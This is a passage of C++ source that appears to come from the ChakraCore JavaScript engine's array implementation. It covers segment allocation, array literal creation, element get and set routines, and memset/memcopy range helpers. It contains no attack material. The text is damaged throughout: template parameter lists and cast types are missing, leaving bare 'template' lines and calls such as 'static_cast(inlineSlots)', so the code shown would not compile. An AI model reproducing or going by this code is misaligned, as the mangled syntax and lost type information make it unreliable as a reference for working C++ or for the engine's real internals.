(seg != this->head)\n {\n for (prior = this->head; prior->next != seg; prior = prior->next)\n {\n Assert(prior->next);\n }\n }\n\n bool isInlineSegment = JavascriptArray::IsInlineSegment(seg, this);\n SparseArraySegment *newSeg = nullptr;\n Recycler *recycler = this->GetScriptContext()->GetRecycler();\n if (forceNonLeaf)\n {\n newSeg = SparseArraySegment::template AllocateSegmentImpl(recycler, seg->left, seg->length, nextSeg);\n }\n else\n {\n newSeg = SparseArraySegment::AllocateSegment(recycler, seg->left, seg->length, nextSeg);\n }\n CopyArray(newSeg->elements, seg->length, seg->elements, seg->length);\n\n LinkSegmentsCommon(prior, newSeg);\n LinkSegmentsCommon(newSeg, nextSeg);\n if (GetLastUsedSegment() == seg)\n {\n SetLastUsedSegment(newSeg);\n }\n SegmentBTree * segmentMap = GetSegmentMap();\n if (segmentMap)\n {\n segmentMap->SwapSegment(seg->left, seg, newSeg);\n }\n\n if (isInlineSegment)\n {\n this->ClearElements(seg, 0);\n }\n\n return newSeg;\n }\n\n /*static*/\n template\n inline SparseArraySegment *JavascriptArray::InitArrayAndHeadSegment(\n T *const array,\n const uint32 length,\n const uint32 size,\n const bool wasZeroAllocated)\n {\n Assert(!array->HasSegmentMap());\n SparseArraySegment* head =\n DetermineInlineHeadSegmentPointer(array);\n if(wasZeroAllocated)\n {\n AssertOrFailFast(size <= SparseArraySegmentBase::INLINE_CHUNK_SIZE);\n if(length != 0)\n {\n head->length = length;\n }\n head->size = size;\n head->CheckLengthvsSize();\n }\n else\n {\n new(head) SparseArraySegment(0, length, size);\n }\n array->SetHeadAndLastUsedSegment(head);\n array->SetHasNoMissingValues();\n return head;\n }\n\n template\n inline className * JavascriptArray::New(Recycler * recycler, DynamicType * type)\n {\n size_t allocationPlusSize;\n uint alignedInlineElementSlots;\n DetermineAllocationSizeForArrayObjects(\n SparseArraySegmentBase::SMALL_CHUNK_SIZE,\n &allocationPlusSize,\n &alignedInlineElementSlots);\n return RecyclerNewPlusZ(recycler, allocationPlusSize, className, type, alignedInlineElementSlots);\n }\n\n /*static*/\n template\n className* JavascriptArray::New(uint32 length, DynamicType* arrayType, Recycler* recycler)\n {\n CompileAssert(static_cast(inlineSlots) == inlineSlots);\n Assert(DynamicTypeHandler::RoundUpInlineSlotCapacity(static_cast(inlineSlots)) == inlineSlots);\n\n if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)\n {\n // Use empty segment until we try to store something. Call AllocateHead() at that point.\n return RecyclerNew(recycler, className, length, arrayType);\n }\n\n size_t allocationPlusSize;\n uint alignedInlineElementSlots;\n className* array;\n\n DetermineAllocationSizeForArrayObjects(length, &allocationPlusSize, &alignedInlineElementSlots);\n\n array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);\n SparseArraySegment *head =\n InitArrayAndHeadSegment(array, 0, alignedInlineElementSlots, true);\n head->FillSegmentBuffer(0, alignedInlineElementSlots);\n\n return array;\n }\n\n //\n // Allocates the segment inline up to the length of SparseArraySegmentBase::INLINE_CHUNK_SIZE. The downside of having the segment\n // inline is that the segment space will never get freed unless the Array is collected.\n //\n /*static*/\n template\n className* JavascriptArray::NewLiteral(uint32 length, DynamicType* arrayType, Recycler* recycler)\n {\n CompileAssert(static_cast(inlineSlots) == inlineSlots);\n Assert(DynamicTypeHandler::RoundUpInlineSlotCapacity(static_cast(inlineSlots)) == inlineSlots);\n\n className* array;\n if(HasInlineHeadSegment(length))\n {\n size_t allocationPlusSize;\n uint alignedInlineElementSlots;\n if(!length)\n {\n DetermineAllocationSize(\n SparseArraySegmentBase::SMALL_CHUNK_SIZE,\n &allocationPlusSize,\n &alignedInlineElementSlots);\n }\n else\n {\n DetermineAllocationSize(length, &allocationPlusSize, &alignedInlineElementSlots);\n }\n\n // alignedInlineElementSlots is actually the 'size' of the segment. The size of the segment should not be greater than InlineHead segment limit, otherwise the inline\n // segment may not be interpreted as inline segment if the length extends to the size.\n // the size could increase because of allignment.\n // Update the size so that it does not exceed SparseArraySegmentBase::INLINE_CHUNK_SIZE.\n\n uint inlineChunkSize = SparseArraySegmentBase::INLINE_CHUNK_SIZE;\n uint size = min(alignedInlineElementSlots, inlineChunkSize);\n\n array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);\n\n // An new array's head segment length is initialized to zero despite the array length being nonzero because the segment\n // doesn't have any values to begin with. An array literal though, is initialized with special op-codes that just store\n // the values and don't update the length, so update the length here.\n //\n // An array literal is also guaranteed to be fully initialized, so even though the head segment currently will have\n // missing values (after this update to length), it won't have missing values once the initialization is complete, so\n // maintain the state saying \"does not have missing values\". Furthermore, since the new array literal is not assigned to\n // a variable until it is fully initialized, there is no way for script code to use the array while it still has missing\n // values.\n SparseArraySegment *head =\n InitArrayAndHeadSegment(array, length, size, true);\n\n head->FillSegmentBuffer(length, size);\n\n Assert(array->HasNoMissingValues());\n return array;\n }\n\n size_t allocationPlusSize;\n DetermineAllocationSize(0, &allocationPlusSize);\n array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);\n\n SparseArraySegment *seg = SparseArraySegment::AllocateLiteralHeadSegment(recycler, length);\n array->SetHeadAndLastUsedSegment(seg);\n array->SetHasNoMissingValues();\n\n // An new array's head segment length is initialized to zero despite the array length being nonzero because the segment\n // doesn't have any values to begin with. An array literal though, is initialized with special op-codes that just store\n // the values and don't update the length, so update the length here.\n //\n // An array literal is also guaranteed to be fully initialized, so even though the head segment currently will have\n // missing values (after this update to length), it won't have missing values once the initialization is complete, so\n // maintain the state saying \"does not have missing values\". Furthermore, since the new array literal is not assigned to\n // a variable until it is fully initialized, there is no way for script code to use the array while it still has missing\n // values.\n array->head->length = length;\n array->head->CheckLengthvsSize();\n return array;\n }\n\n#if ENABLE_COPYONACCESS_ARRAY\n //\n // Allocates the segment inline up to the length of SparseArraySegmentBase::INLINE_CHUNK_SIZE. The downside of having the segment\n // inline is that the segment space will never get freed unless the Array is collected.\n //\n /*static*/\n template\n className* JavascriptArray::NewCopyOnAccessLiteral(DynamicType* arrayType, ArrayCallSiteInfo *arrayInfo, FunctionBody *functionBody, const Js::AuxArray *ints, Recycler* recycler)\n {\n CompileAssert(static_cast(inlineSlots) == inlineSlots);\n Assert(DynamicTypeHandler::RoundUpInlineSlotCapacity(static_cast(inlineSlots)) == inlineSlots);\n Assert(arrayInfo->IsNativeIntArray());\n\n className* array = RecyclerNewZ(recycler, JavascriptCopyOnAccessNativeIntArray, ints->count, arrayType);\n JavascriptLibrary *lib = functionBody->GetScriptContext()->GetLibrary();\n\n SparseArraySegment *seg;\n\n if (JavascriptLibrary::IsCachedCopyOnAccessArrayCallSite(functionBody->GetScriptContext()->GetLibrary() , arrayInfo))\n {\n seg = lib->cacheForCopyOnAccessArraySegments->GetSegmentByIndex(arrayInfo->copyOnAccessArrayCacheIndex);\n }\n else\n {\n seg = SparseArraySegment::AllocateLiteralHeadSegment(recycler, ints->count);\n }\n\n if (!JavascriptLibrary::IsCachedCopyOnAccessArrayCallSite(lib, arrayInfo))\n {\n JavascriptOperators::AddIntsToArraySegment(seg, ints);\n arrayInfo->copyOnAccessArrayCacheIndex = lib->cacheForCopyOnAccessArraySegments->AddSegment(seg);\n }\n array->SetHeadAndLastUsedSegment(reinterpret_cast(arrayInfo->copyOnAccessArrayCacheIndex)); // storing index in head on purpose: expect AV if treated as other array objects\n\n#if ENABLE_DEBUG_CONFIG_OPTIONS\n if (Js::Configuration::Global.flags.TestTrace.IsEnabled(Js::CopyOnAccessArrayPhase))\n {\n Output::Print(_u(\"Create copy-on-access array: func(#%2d) index(%d) length(%d)\\n\"),\n functionBody->GetFunctionNumber(), lib->cacheForCopyOnAccessArraySegments->GetCount(), ints->count);\n Output::Flush();\n }\n#endif\n\n return array;\n }\n#endif\n\n template\n inline T *JavascriptArray::New(\n void *const stackAllocationPointer,\n const uint32 length,\n DynamicType *const arrayType)\n {\n Assert(arrayType);\n\n if(stackAllocationPointer)\n {\n bool isSufficientSpaceForInlinePropertySlots;\n const uint availableInlineElementSlots =\n DetermineAvailableInlineElementSlots(\n T::StackAllocationSize,\n &isSufficientSpaceForInlinePropertySlots);\n if(isSufficientSpaceForInlinePropertySlots)\n {\n T *const array = new(stackAllocationPointer) T(length, arrayType);\n if(length <= availableInlineElementSlots)\n {\n SparseArraySegment *const head =\n InitArrayAndHeadSegment(array, 0, availableInlineElementSlots, false);\n head->FillSegmentBuffer(0, availableInlineElementSlots);\n }\n else\n {\n // Not enough room to allocate all required element slots inline. Leave the head segment as the empty\n // segment and let it be allocated as necessary.\n }\n Assert(array->HasNoMissingValues());\n return array;\n }\n }\n\n return New(length, arrayType, arrayType->GetRecycler());\n }\n\n template\n inline T *JavascriptArray::NewLiteral(\n void *const stackAllocationPointer,\n const uint32 length,\n DynamicType *const arrayType)\n {\n Assert(arrayType);\n\n if(stackAllocationPointer)\n {\n bool isSufficientSpaceForInlinePropertySlots;\n const uint availableInlineElementSlots =\n DetermineAvailableInlineElementSlots(\n T::StackAllocationSize,\n &isSufficientSpaceForInlinePropertySlots);\n if(isSufficientSpaceForInlinePropertySlots)\n {\n T *const array = new(stackAllocationPointer) T(length, arrayType);\n if(length <= availableInlineElementSlots)\n {\n SparseArraySegment *const head =\n InitArrayAndHeadSegment(array, length, availableInlineElementSlots, false);\n head->FillSegmentBuffer(length, availableInlineElementSlots);\n Assert(array->HasNoMissingValues());\n return array;\n }\n\n // Not enough room to allocate all required element slots inline. Allocate the head segment separately.\n SparseArraySegment *const head =\n SparseArraySegment::AllocateLiteralHeadSegment(arrayType->GetRecycler(), length);\n array->SetHeadAndLastUsedSegment(head);\n array->SetHasNoMissingValues();\n return array;\n }\n }\n\n return NewLiteral(length, arrayType, arrayType->GetRecycler());\n }\n\n template <>\n inline void JavascriptArray::DirectSetItemAt(uint32 itemIndex, int32 newValue)\n {\n Assert_FailFast(this->GetTypeId() == TypeIds_NativeIntArray);\n\n Assert(itemIndex < InvalidIndex); // Otherwise the code below could overflow and set length = 0\n\n SparseArraySegment *seg = (SparseArraySegment*)this->GetLastUsedSegment();\n uint32 offset = itemIndex - seg->left;\n if(itemIndex >= seg->left && offset < seg->size)\n {\n DirectSetItemInLastUsedSegmentAt(offset, newValue);\n return;\n }\n DirectSetItem_Full(itemIndex, newValue);\n }\n\n template <>\n inline void JavascriptArray::DirectSetItemAt(uint32 itemIndex, double newValue)\n {\n Assert_FailFast(this->GetTypeId() == TypeIds_NativeFloatArray);\n\n Assert(itemIndex < InvalidIndex); // Otherwise the code below could overflow and set length = 0\n\n SparseArraySegment *seg = (SparseArraySegment*)this->GetLastUsedSegment();\n uint32 offset = itemIndex - seg->left;\n if (itemIndex >= seg->left && offset < seg->size)\n {\n DirectSetItemInLastUsedSegmentAt(offset, newValue);\n return;\n }\n DirectSetItem_Full(itemIndex, newValue);\n }\n\n template <>\n inline void JavascriptArray::DirectSetItemAt(uint32 itemIndex, Var newValue)\n {\n Assert_FailFast(this->GetTypeId() == TypeIds_Array || this->GetTypeId() == TypeIds_ES5Array);\n\n Assert(itemIndex < InvalidIndex); // Otherwise the code below could overflow and set length = 0\n\n SparseArraySegment *seg = (SparseArraySegment*)this->GetLastUsedSegment();\n uint32 offset = itemIndex - seg->left;\n if (itemIndex >= seg->left && offset < seg->size)\n {\n DirectSetItemInLastUsedSegmentAt(offset, newValue);\n return;\n }\n DirectSetItem_Full(itemIndex, newValue);\n }\n\n template \n inline void JavascriptArray::DirectSetItemAt(uint32 itemIndex, T newValue)\n {\n Assert(itemIndex < InvalidIndex); // Otherwise the code below could overflow and set length = 0\n\n SparseArraySegment *seg = (SparseArraySegment*)this->GetLastUsedSegment();\n uint32 offset = itemIndex - seg->left;\n if (itemIndex >= seg->left && offset < seg->size)\n {\n DirectSetItemInLastUsedSegmentAt(offset, newValue);\n return;\n }\n DirectSetItem_Full(itemIndex, newValue);\n }\n\n inline void JavascriptArray::GenericDirectSetItemAt(const uint32 index, Var newValue)\n {\n this->DirectSetItemAt(index, newValue);\n }\n\n template\n inline void JavascriptArray::DirectSetItemInLastUsedSegmentAt(const uint32 offset, const T newValue)\n {\n Assert(!SparseArraySegment::IsMissingItem(&newValue));\n\n SparseArraySegment *const seg = (SparseArraySegment*)GetLastUsedSegment();\n Assert(seg);\n Assert(offset < seg->size);\n Assert(!(HasNoMissingValues() &&\n offset < seg->length &&\n SparseArraySegment::IsMissingItem(&seg->elements[offset]) &&\n seg == head));\n\n const bool scanForMissingValues = NeedScanForMissingValuesUponSetItem(seg, offset);\n\n DebugOnly(VerifyNotNeedMarshal(newValue));\n seg->elements[offset] = newValue;\n if (offset >= seg->length)\n {\n if(offset > seg->length && seg == head)\n {\n SetHasNoMissingValues(false);\n }\n\n seg->length = offset + 1;\n seg->CheckLengthvsSize();\n const uint32 itemIndex = seg->left + offset;\n if (this->length <= itemIndex)\n {\n this->length = itemIndex + 1;\n }\n }\n else if(scanForMissingValues)\n {\n ScanForMissingValues();\n }\n }\n\n#if ENABLE_PROFILE_INFO\n template\n inline void JavascriptArray::DirectProfiledSetItemInHeadSegmentAt(\n const uint32 offset,\n const T newValue,\n StElemInfo *const stElemInfo)\n {\n Assert(!SparseArraySegment::IsMissingItem(&newValue));\n\n SparseArraySegment *const seg = SparseArraySegment::From(head);\n Assert(seg);\n Assert(offset < seg->size);\n Assert(!(HasNoMissingValues() &&\n offset < seg->length &&\n SparseArraySegment::IsMissingItem(&seg->elements[offset])));\n Assert(stElemInfo);\n\n stElemInfo->filledMissingValue = offset < seg->length && SparseArraySegment::IsMissingItem(&seg->elements[offset]);\n const bool scanForMissingValues = NeedScanForMissingValuesUponSetItem(seg, offset);\n\n DebugOnly(VerifyNotNeedMarshal(newValue));\n seg->elements[offset] = newValue;\n if (offset >= seg->length)\n {\n if(offset > seg->length)\n {\n SetHasNoMissingValues(false);\n }\n\n seg->length = offset + 1;\n seg->CheckLengthvsSize();\n const uint32 itemIndex = seg->left + offset;\n if (this->length <= itemIndex)\n {\n this->length = itemIndex + 1;\n }\n }\n else if(scanForMissingValues)\n {\n ScanForMissingValues();\n }\n }\n#endif\n\n template\n inline BOOL JavascriptArray::DirectGetItemAt(uint32 index, T* outVal)\n {\n#ifdef VALIDATE_ARRAY\n ValidateArray();\n#endif\n\n if (index >= length)\n {\n return false;\n }\n\n#ifdef VALIDATE_ARRAY\n T v_btree = NULL;\n SparseArraySegmentBase* seg_btree = nullptr;\n bool first_pass = true;\n#endif\n\n SparseArraySegmentBase* nextSeg;\n SegmentBTreeRoot * segmentMap = GetSegmentMap();\n if (segmentMap)\n {\n SparseArraySegmentBase* matchOrNextSeg;\n segmentMap->Find(index, nextSeg, matchOrNextSeg);\n\n if (!nextSeg)\n {\n nextSeg = matchOrNextSeg;\n }\n }\n else\n {\n#ifdef VALIDATE_ARRAY\nSECOND_PASS:\n#endif\n nextSeg = this->GetBeginLookupSegment(index, false);\n }\n uint probeCost = 0;\n while (nextSeg != nullptr && nextSeg->left <= index)\n {\n uint32 limit = nextSeg->left + nextSeg->length;\n if (index < limit)\n {\n const T * v = AddressOf(((SparseArraySegment*)nextSeg)->elements[index - nextSeg->left]);\n\n this->SetLastUsedSegment(nextSeg);\n\n#ifdef VALIDATE_ARRAY\n Assert(segmentMap == GetSegmentMap());\n if (segmentMap && first_pass)\n {\n v_btree = *v;\n seg_btree= nextSeg;\n first_pass = false;\n goto SECOND_PASS;\n }\n else if (segmentMap && !first_pass)\n {\n Assert(seg_btree == nextSeg);\n }\n#endif\n if (SparseArraySegment::IsMissingItem(v))\n {\n Assert(!(HasNoMissingValues() && nextSeg == head));\n return false;\n }\n *outVal = *v;\n return true;\n }\n nextSeg = nextSeg->next;\n Assert(segmentMap == GetSegmentMap());\n if (!segmentMap)\n {\n probeCost++;\n if (probeCost > SegmentBTree::GetLazyCrossOverLimit() && this->head != EmptySegment)\n {\n // Build a SegmentMap\n segmentMap = BuildSegmentMap();\n\n // Find the right segment\n SparseArraySegmentBase* matchOrNextSeg;\n segmentMap->Find(index, nextSeg, matchOrNextSeg);\n if (!nextSeg)\n {\n nextSeg = matchOrNextSeg;\n }\n }\n }\n }\n\n#ifdef VALIDATE_ARRAY\n Assert(segmentMap == GetSegmentMap());\n if (segmentMap && first_pass)\n {\n v_btree = NULL;\n seg_btree= nullptr;\n first_pass = false;\n goto SECOND_PASS;\n }\n else if (segmentMap && !first_pass)\n {\n Assert(v_btree == NULL && seg_btree == nullptr);\n }\n#endif\n\n return false;\n }\n\n template\n void JavascriptArray::EnsureHead()\n {\n if (this->head == EmptySegment)\n {\n this->AllocateHead();\n }\n }\n\n template\n void JavascriptArray::AllocateHead()\n {\n Recycler* recycler = GetRecycler();\n uint32 allocLength;\n\n Assert(this->head == EmptySegment);\n\n if (this->length)\n {\n allocLength = this->length <= MaxInitialDenseLength ? this->length : SparseArraySegmentBase::HEAD_CHUNK_SIZE;\n this->head = SparseArraySegment::AllocateSegment(recycler, 0, 0, allocLength, nullptr);\n }\n else\n {\n allocLength = SparseArraySegmentBase::HEAD_CHUNK_SIZE;\n this->head = SparseArraySegment::AllocateSegment(recycler, 0, 0, allocLength, nullptr);\n }\n this->SetLastUsedSegment(this->head);\n SetHasNoMissingValues();\n }\n\n template\n SparseArraySegment* JavascriptArray::PrepareSegmentForMemOp(uint32 startIndex, uint32 length)\n {\n uint32 endIndex;\n if (UInt32Math::Add(startIndex, length - 1, &endIndex))\n {\n return nullptr;\n }\n if (endIndex >= this->length)\n {\n if (endIndex < JavascriptArray::InvalidIndex)\n {\n this->length = endIndex + 1;\n }\n else\n {\n return nullptr;\n }\n }\n\n // We are messing with the segments and the length of the array.\n // We must be certain we reach the end of this function without\n // any interruption to guaranty coherence of the array\n AutoDisableInterrupt autoDisableInterrupt(this->GetScriptContext()->GetThreadContext());\n\n this->EnsureHead();\n\n Recycler* recycler = GetRecycler();\n\n //Find the segment where itemIndex is present or is at the boundary\n SparseArraySegment* current = (SparseArraySegment*)this->GetLastUsedSegment();\n\n SparseArraySegmentBase* prev = nullptr;\n SparseArraySegmentBase* startSeg = nullptr;\n SparseArraySegmentBase* endSeg = nullptr;\n SparseArraySegmentBase* startPrev = nullptr;\n uint32 growby, startOffset, endOffset;\n bool isAllocationSolelyInLastUsedSegment = false;\n\n // FindStartAndEndSegment\n {\n if (current->left > startIndex || endIndex >= current->left + current->size)\n {\n // The allocation may touch other segments, just start looking from head\n current = SparseArraySegment::From(head);\n }\n else\n {\n // We are allocating solely in the last used segment\n startSeg = endSeg = current;\n current = nullptr;\n isAllocationSolelyInLastUsedSegment = true;\n }\n\n while (current != nullptr)\n {\n startOffset = startIndex - current->left;\n endOffset = endIndex - current->left;\n if (!startSeg)\n {\n if (startIndex <= current->left)\n {\n startPrev = prev;\n startSeg = current;\n }\n else if (startOffset <= current->size)\n {\n if ((nullptr == current->next) || (startIndex < current->next->left))\n {\n startPrev = prev;\n startSeg = current;\n }\n }\n }\n if (!endSeg)\n {\n if (endIndex <= current->left)\n {\n endSeg = current;\n break;\n }\n else if (endOffset <= current->size)\n {\n if ((nullptr == current->next) || (endIndex < current->next->left))\n {\n endSeg = current;\n break;\n }\n }\n }\n prev = current;\n current = SparseArraySegment::From(current->next);\n }\n if (!startSeg && !endSeg)\n {\n startPrev = prev;\n }\n }\n\n if (startSeg == nullptr)\n {\n // if start index is greater than array length then we can add a new segment (or extend the last segment based on some heuristics)\n // ResizeArrayIfStartIsOutsideArrayLength;\n Assert(endSeg == nullptr);\n Assert(startIndex >= head->size);\n // Reallocate head if it meets a heuristics\n if (startPrev == head // prev segment is the head segment\n && !head->next // There is only one head segment in the array\n && startIndex - head->size <= MergeSegmentsLengthHeuristics // Distance to next index is relatively small\n )\n {\n SparseArraySegmentBase *oldHead = head;\n bool isInlineSegment = JavascriptArray::IsInlineSegment(oldHead, this);\n current = SparseArraySegment::From(head)->GrowByMin(recycler, startIndex + length - head->size);\n current->length = endIndex + 1;\n current->CheckLengthvsSize();\n head = current;\n if (isInlineSegment)\n {\n this->ClearElements(oldHead, 0);\n }\n\n SetHasNoMissingValues(false);\n }\n else\n {\n //itemIndex is greater than the (left + size) of last segment in the linked list\n current = SparseArraySegment::AllocateSegment(recycler, startIndex, length, (SparseArraySegment *)nullptr);\n LinkSegments((Js::SparseArraySegment*)startPrev, current);\n current->length = length;\n current->CheckLengthvsSize();\n if (current == head)\n {\n Assert(startIndex == 0);\n Assert(current->length == length);\n SetHasNoMissingValues();\n }\n }\n }\n else\n {\n // once we found the start segment we extend the start segment until startIndex+length . We don't care about what was there\n // as they will be overwritten by the memset/ memcopy. Then we need to append items from the (startIndex+length) to array.length\n // from the end segment to the new array\n\n // ExtendStartSegmentForMemOp\n SparseArraySegmentBase *oldStartSeg = startSeg;\n bool isInlineSegment = false;\n startOffset = startIndex - startSeg->left;\n if ((startIndex >= startSeg->left) && (startOffset < startSeg->size))\n {\n // startIndex is within startSeg\n if ((startOffset + length) > startSeg->size)\n {\n isInlineSegment = JavascriptArray::IsInlineSegment(startSeg, this);\n // if we don't have enough space in startSeg\n growby = length - (startSeg->size - startOffset);\n current = ((Js::SparseArraySegment*)startSeg)->GrowByMin(recycler, growby);\n LinkSegments((Js::SparseArraySegment*)startPrev, current);\n if (current == head)\n {\n if (startIndex > current->length)\n {\n // if it's the head segment and memset starts after the segment length, missing value is introduced\n SetHasNoMissingValues(false);\n }\n else if (!HasNoMissingValues())\n {\n // Have we overwritten all the missing values?\n if (!ScanForMissingValues(0, startOffset))\n {\n SetHasNoMissingValues();\n }\n }\n }\n current->length = startOffset + length;\n current->CheckLengthvsSize();\n }\n else\n {\n // if we have enough space in the startseg\n current = (Js::SparseArraySegment*)startSeg;\n if (current == head)\n {\n if (startIndex > current->length)\n {\n // if it's the head segment and memset starts after the segment length, missing value is introduced\n SetHasNoMissingValues(false);\n }\n else if (!HasNoMissingValues())\n {\n // Have we overwritten all the missing values?\n if (!ScanForMissingValues(0, startOffset) && !ScanForMissingValues(startOffset + length, current->length))\n {\n SetHasNoMissingValues();\n }\n }\n }\n current->length = current->length > (startOffset + length) ? current->length : (startOffset + length);\n current->CheckLengthvsSize();\n Assert(current == oldStartSeg);\n }\n }\n else if ((startIndex + 1) <= startSeg->left)\n {\n isInlineSegment = JavascriptArray::IsInlineSegment(startSeg, this);\n // startIndex is in between prev and startIndex\n current = SparseArraySegment::template AllocateSegmentImpl(recycler, startIndex, length, nullptr);\n LinkSegments((Js::SparseArraySegment*)startPrev, current);\n if (current == head)\n {\n SetHasNoMissingValues();\n }\n }\n else\n {\n isInlineSegment = JavascriptArray::IsInlineSegment(startSeg, this);\n Assert(startIndex == startSeg->left + startSeg->size);\n\n current = ((Js::SparseArraySegment*)startSeg)->GrowByMin(recycler, length);\n LinkSegments((Js::SparseArraySegment*)startPrev, current);\n\n if (current == head)\n {\n if (startIndex > current->length)\n {\n\n // if it's the head segment and memset starts after the segment length, missing value is introduced\n SetHasNoMissingValues(false);\n }\n }\n current->length = startOffset + length;\n current->CheckLengthvsSize();\n }\n\n startSeg = current;\n Assert(startSeg != oldStartSeg || !isInlineSegment); // ensure isInlineSegment implies startSeg != oldStartSeg\n if (isInlineSegment)\n {\n this->ClearElements(oldStartSeg, 0);\n }\n\n // AppendLeftOverItemsFromEndSegment\n\n SparseArraySegmentBase *oldCurrent = current;\n isInlineSegment = false;\n if (!endSeg)\n {\n // end is beyond the length of the array\n Assert(endIndex == (current->left + current->length - 1));\n current->next = nullptr;\n Assert(oldCurrent == current);\n }\n else\n {\n endOffset = endIndex - endSeg->left;\n startOffset = startIndex - current->left;\n if ((endIndex >= endSeg->left) && (endOffset < endSeg->size))\n {\n // endIndex is within endSeg\n if (endSeg->length - 1 > endOffset)\n {\n if (startSeg != endSeg)\n {\n isInlineSegment = JavascriptArray::IsInlineSegment(current, this);\n\n // we have some leftover items on endseg\n growby = (endSeg->length - endOffset - 1);\n current = current->GrowByMin(recycler, growby);\n CopyArray(current->elements + startOffset + length, growby,\n ((Js::SparseArraySegment*)endSeg)->elements + endOffset + 1, growby);\n LinkSegments((Js::SparseArraySegment*)startPrev, current);\n current->length = startOffset + length + growby;\n current->CheckLengthvsSize();\n if (current == head && HasNoMissingValues())\n {\n if (ScanForMissingValues(startOffset + length, current->length))\n {\n SetHasNoMissingValues(false);\n }\n }\n }\n }\n current->next = endSeg->next;\n }\n else if ((endIndex + 1) <= endSeg->left)\n {\n // endIndex is between endSeg and the segment before\n if (endIndex + 1 == endSeg->left && current == head)\n {\n isInlineSegment = JavascriptArray::IsInlineSegment(current, this);\n\n // extend current to hold endSeg\n growby = endSeg->length;\n current = current->GrowByMin(recycler, growby);\n CopyArray(current->elements + endIndex + 1, endSeg->length,\n ((Js::SparseArraySegment*)endSeg)->elements, endSeg->length);\n LinkSegments((Js::SparseArraySegment*)startPrev, current);\n if (current == head && HasNoMissingValues())\n {\n if (ScanForMissingValues(endIndex + 1, endIndex + growby))\n {\n SetHasNoMissingValues(false);\n }\n }\n current->length = endIndex + growby + 1;\n current->CheckLengthvsSize();\n current->next = endSeg->next;\n }\n else\n {\n current->next = endSeg;\n Assert(oldCurrent == current);\n }\n }\n else\n {\n //endIndex is at the boundary of endSeg segment at the left + size\n Assert(endIndex == endSeg->left + endSeg->size);\n current->next = endSeg->next;\n Assert(oldCurrent == current);\n }\n }\n\n Assert(oldCurrent != current || !isInlineSegment); // ensure isInlineSegment implies oldCurrent != current\n if (isInlineSegment)\n {\n this->ClearElements(oldCurrent, 0);\n }\n }\n\n Assert(current);\n Assert(current->left <= startIndex);\n Assert((startIndex - current->left) < current->size);\n // If we are solely using the last used segment, make sure there were no allocation done\n Assert(!isAllocationSolelyInLastUsedSegment || (current == startSeg && current == endSeg));\n autoDisableInterrupt.Completed();\n return current;\n }\n\n template\n bool JavascriptArray::DirectSetItemAtRangeFromArray(uint32 toStartIndex, uint32 length, JavascriptArray *fromArray, uint32 fromStartIndex)\n {\n if (length == 0)\n {\n return true;\n }\n\n // Do not do a memcopy from an array that has missing values\n if (fromArray == nullptr || fromArray == this || !fromArray->HasNoMissingValues())\n {\n return false;\n }\n\n bool isBtree = false;\n\n#ifdef ENABLE_DEBUG_CONFIG_OPTIONS\n isBtree = Js::Configuration::Global.flags.ForceArrayBTree;\n#endif\n if (GetSegmentMap() || fromArray->GetSegmentMap() || isBtree)\n {\n for (uint i = 0; i < length; i++)\n {\n T val;\n if (!fromArray->DirectGetItemAt(fromStartIndex + i, &val))\n {\n return false;\n }\n DirectSetItem_Full(toStartIndex + i, val);\n }\n return true;\n }\n\n const auto isSegmentValid = [length](Js::SparseArraySegment* segment, uint32 startIndex) {\n uint32 end, segmentEnd;\n // Check the segment is big enough\n return (\n segment &&\n !UInt32Math::Add(startIndex, length, &end) &&\n !UInt32Math::Add(segment->left, segment->length, &segmentEnd) &&\n startIndex >= segment->left &&\n startIndex < segmentEnd &&\n segmentEnd >= end\n );\n };\n // Check if the head segment of the fromArray has everything we need to copy\n Js::SparseArraySegment* fromSegment = (Js::SparseArraySegment*)fromArray->GetHead();\n if (!isSegmentValid(fromSegment, fromStartIndex))\n {\n return false;\n }\n\n // Check the from segment first so we don't prepare the toSegment in case it is invalid\n SparseArraySegment *toSegment = PrepareSegmentForMemOp(toStartIndex, length);\n if (!isSegmentValid(toSegment, toStartIndex))\n {\n return false;\n }\n Assert(GetSegmentMap() == nullptr && fromArray->GetSegmentMap() == nullptr);\n\n int memcopySize = length;\n int toStartOffset = toStartIndex - toSegment->left;\n int fromStartOffset = fromStartIndex - fromSegment->left;\n Assert((fromStartOffset + length) <= fromSegment->length);\n\n CopyArray(\n toSegment->elements + toStartOffset,\n toSegment->size - toStartOffset,\n fromSegment->elements + fromStartOffset,\n memcopySize\n );\n\n fromArray->SetLastUsedSegment(fromSegment);\n this->SetLastUsedSegment(toSegment);\n#if DBG\n if (Js::Configuration::Global.flags.MemOpMissingValueValidate)\n {\n if (toSegment == head)\n {\n Assert(ScanForMissingValues(0, this->length) != HasNoMissingValues());\n }\n }\n#endif\n return true;\n }\n\n template\n bool JavascriptArray::DirectSetItemAtRange(uint32 startIndex, uint32 length, T newValue)\n {\n bool isBtree = false;\n\n#ifdef ENABLE_DEBUG_CONFIG_OPTIONS\n isBtree = Js::Configuration::Global.flags.ForceArrayBTree;\n#endif\n if (GetSegmentMap() || isBtree)\n {\n for (uint i = startIndex; i < startIndex + length; i++)\n {\n DirectSetItem_Full(i, newValue);\n }\n return true;\n }\n\n if (startIndex == 0 && head != EmptySegment && length < head->size)\n {\n CopyValueToSegmentBuferNoCheck(SparseArraySegment::From(head)->elements, length, newValue);\n\n if (length > this->length)\n {\n this->length = length;\n }\n\n if (length > head->length)\n {\n head->length = length;\n head->CheckLengthvsSize();\n }\n\n if (!HasNoMissingValues())\n {\n if (ScanForMissingValues(length, head->length) == false)\n {\n SetHasNoMissingValues(true);\n }\n }\n this->SetLastUsedSegment(head);\n }\n else if (startIndex == 0 && length > this->length && (head == EmptySegment || length > head->size))\n {\n Recycler *recycler = GetRecycler();\n SparseArraySegmentBase* current = SparseArraySegment::AllocateSegment(recycler, 0, length, (SparseArraySegment *)nullptr);\n this->SetHeadAndLastUsedSegment(current);\n this->length = length;\n\n Assert(!HasSegmentMap());\n\n SetHasNoMissingValues(true);\n CopyValueToSegmentBuferNoCheck(((Js::SparseArraySegment*)current)->elements, length, newValue);\n }\n else\n {\n return DirectSetItemAtRangeFull(startIndex, length, newValue);\n }\n return true;\n }\n\n template\n bool JavascriptArray::DirectSetItemAtRangeFull(uint32 startIndex, uint32 length, T newValue)\n {\n if (length == 0)\n {\n return true;\n }\n Assert(!GetSegmentMap());\n\n SparseArraySegment *current = PrepareSegmentForMemOp(startIndex, length);\n if 